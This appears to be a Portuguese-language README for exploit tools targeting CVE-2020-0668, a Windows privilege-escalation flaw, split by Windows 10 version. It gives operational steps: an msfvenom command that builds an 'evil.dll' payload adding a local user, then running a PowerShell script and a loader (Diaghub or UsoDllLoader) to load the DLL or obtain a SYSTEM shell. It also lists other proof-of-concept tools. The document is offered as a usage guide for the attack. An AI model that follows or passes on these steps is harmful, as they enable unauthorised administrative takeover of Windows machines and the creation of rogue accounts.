CVE-2020-0668

Faça o exploit CVE-2020-0668 funcionar para a versão < win10 v1903 e versão >= win10 v1903

Exploit do Diaghub (< v1903)

O exploit powershell funciona na versão < win10 v1903 com Diaghub.

Uso

• Passo 1：gere evil.dll com msfvenom
  • exemplo adicionar um usuário ： msfvenom -p windows/x64/exec CMD="net user test test /add" -f dll > evil.dll
• Passo 2：execute exp.ps1 com powershell
• Passo 3：execute Diaghub.exe C:\ProgramData evil.dll para carregar a dll e adicionar o usuário.

• Diaghub

Exploit do UsoDllLoader (>= v1903)

O exploit powershell funciona na versão >= win10 v1903 com UsoDllLoader.

Uso

• Passo 1 : execute exp.ps1 com powershell
• Passo 2 : execute UsoDllLoader.exe para obter um shell de sistema

• UsoDllLoader

Outros Exp ou PoC

Exploit SysTracingPoc

Uma versão de lançamento x86 do SysTracingPoc para a issue，o exploit funciona na versão >= win10 v1903 por causa do UsoLoadDll.

• SysTracingPoc

PoC do RedCursorSecurityConsulting

Um PoC .net. Se você der uma olhada em C:\Windows\System32\evil.dll e renomeá-lo como evil.txt.

Você verá que não é um arquivo dll. Apenas um log de rastreamento nele.

• CVE-2020-0668

PoC do Nan3r

Um PoC powershell. Também apenas um log de rastreamento no evil.dll.

• CVE-2020-0668